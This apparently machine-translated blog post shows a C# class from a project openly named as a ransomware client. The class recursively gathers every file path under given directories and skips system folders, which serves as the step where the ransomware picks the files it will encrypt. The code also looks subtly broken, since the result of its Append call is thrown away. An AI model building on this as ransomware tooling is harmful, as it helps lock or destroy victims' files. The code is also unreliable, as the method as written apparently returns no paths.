[国の原稿項目]FilePathGetter Class

1414 ワード

using System.IO;

using Utils;

namespace gukwon_ransomeware_client
{
    public class FilePathGetter
    {
        private string[] allFilePathes;

        public FilePathGetter()
        {
            allFilePathes = new string[0];
        }

        public string[] GetAllFilePathes(string[] dirPathes)
        {
            for (int i = 0; i < dirPathes.Length; i++)
            {
                if(Directory.Exists(dirPathes[i]))
                    GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
            }

            return allFilePathes;
        }

        private void GetAllFilePathes(DirectoryInfo dirInfo)
        {            
            FileInfo[] files = dirInfo.GetFiles();
            DirectoryInfo[] dirs = dirInfo.GetDirectories();
            string[] pathes = new string[files.Length];

            if (dirInfo.FullName.ToUpper().Contains("SYSTEM"))
                return;

            for (int i = 0; i < files.Length; i++)
            {
                pathes[i] = files[i].FullName;
            }

            allFilePathes.Append(pathes);

            for(int i = 0; i < dirs.Length; i++)
            {
                GetAllFilePathes(dirs[i]);
            }
        }
    }
}
  • 再帰関数を使用して、サブディレクトリ内のすべてのファイルのパスをallFilePath配列に追加します.